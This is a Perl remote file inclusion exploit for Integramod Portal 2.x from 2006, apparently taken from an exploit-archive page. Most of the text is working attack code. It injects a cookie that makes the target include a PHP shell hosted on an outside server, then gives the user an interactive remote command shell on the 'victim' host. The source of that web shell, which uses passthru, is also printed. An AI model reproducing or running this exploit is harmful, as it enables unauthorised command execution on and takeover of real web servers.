[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Integramod Portal <= 2.x (functions_portal.php) Remote Include Exploit
# Published : 2006-08-23
# Author : nukedx
# Previous Title : pSlash 0.7 (lvc_include_dir) Remote File Include Vulnerability
# Next Title : VistaBB <= 2.x (functions_mod_user.php) Remote Include Exploit
#!/usr/bin/perl
# Method found and exploit scripted by nukedx
# Contacts> ICQ: 10072 Web: http://www.nukedx.com MAIL/MSN: nukedx@nukedx.com
# Original advisory can be found at: http://www.nukedx.com/?viewdoc=47
#
# Integramod Portal <= 2.x Remote Command Execution Exploit
#
# This exploit comes with it's own php shell setting. If you wanna change it your file must contain this data >
#
# <?php
# echo "_START_n";
# ini_set("max_execution_time",0);
# error_reporting(0);
# passthru($_REQUEST[command]);
# echo "n_END_";
# ?>
#
# Copyright 2006 (C) nukedx
#
# Greetz to: WW,xT,php from my team NWPX , str0ke , cha0s , Preddy , Yns , |SaMaN|, Caesar , Ogre and all of my friends
use IO::Socket;
# Default configuration
$shell = "http://hometown.aol.com/yarivgiladi/sh.php";
# Checking user settings
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
print "n- NukedX Security Advisory Nr.2006-43rn";
print "- Integramod Portal<= 2.x Remote Command Execution Exploitrn";
}
sub usage()
{
header();
print "- Usage: $0 <host> <path>rn";
print "- <host> -> Victim's host ex: www.victim.comrn";
print "- <path> -> Path to Integramod ex: /integra/ or just /rn";
exit();
}
sub exploit() {
# User variables
$host = $ARGV[0];
$host =~ s/(http://)//eg;
$target = $ARGV[1]."includes/functions_portal.php";
$good = 0;
$c2s = "command=whoami";
$c2slen = length($c2s);
print "Trying to connect: $hostrn";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "Connection failed...rn";
print "Connected to victim: $hostrn";
print $sock "POST $target HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Accept: */*n";
print $sock "Referer: $hostrn";
print $sock "Accept-Language: trrn";
print $sock "Content-Type: application/x-www-form-urlencodedrn";
print $sock "Accept-Encoding: gzip, deflatern";
print $sock "User-Agent: NukeZillarn";
print $sock "Cookie: phpbb_root_path=".$shell."?rn";
print $sock "Content-length: $c2slenrn";
print $sock "Connection: Keep-Alivern";
print $sock "Cache-Control: no-cachernrn";
print $sock $c2s;
print $sock "rnrn";
while($result = <$sock>)
{
if($result =~ /^_END_/)
{
$good=0;
close($sock);
}
if($good==1)
{
if (!$whoami) {
$whoami = trim($result);
print "Logged as $whoamirnType exit for exit dont press ctrl+crn";
}
}
if ($good==0)
{
if ($result =~ /Warning: include_once/) { print "Sorry victim is not vulnerable...rnClosing exploit...rn";sleep(3);exit(); }
}
if($result =~ /^_START_/)
{
$good=1;
}
}
while()
{
print "[".$whoami."@".$host." /]$ ";
while(<STDIN>)
{
$cmds=$_;
chomp($cmds);
last;
}
if ($cmds =~ /^exit/) { print "Closing exploit...rn";sleep(3);exit(); }
else { sendcmd(); }
}
}
sub sendcmd () {
$c2s = "command=".$cmds;
$c2slen = length($c2s);
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "Connection lost...rn";
print $sock "POST $target HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Accept: */*n";
print $sock "Referer: $hostrn";
print $sock "Accept-Language: trrn";
print $sock "Content-Type: application/x-www-form-urlencodedrn";
print $sock "Accept-Encoding: gzip, deflatern";
print $sock "User-Agent: NukeZillarn";
print $sock "Cookie: phpbb_root_path=".$shell."?rn";
print $sock "Content-length: $c2slenrn";
print $sock "Connection: Keep-Alivern";
print $sock "Cache-Control: no-cachernrn";
print $sock $c2s;
print $sock "rnrn";
while($result = <$sock>)
{
if($result =~ /^_END_/)
{
$good=0;
close($sock);
}
if($good==1)
{
print $result;
}
if ($good==0)
{
if ($result =~ /Warning: include_once/) { print "Sorry victim is not vulnerable or patched!...rnClosing exploit...rn";sleep(3);exit(); }
}
if($result =~ /^_START_/)
{
$good=1;
}
}
}
sub trim($)
{
my $string = shift;
$string =~ s/^s+//;
$string =~ s/s+$//;
return $string;
}
# nukedx.com [2006-08-24]
# www.Syue.com [2006-08-23]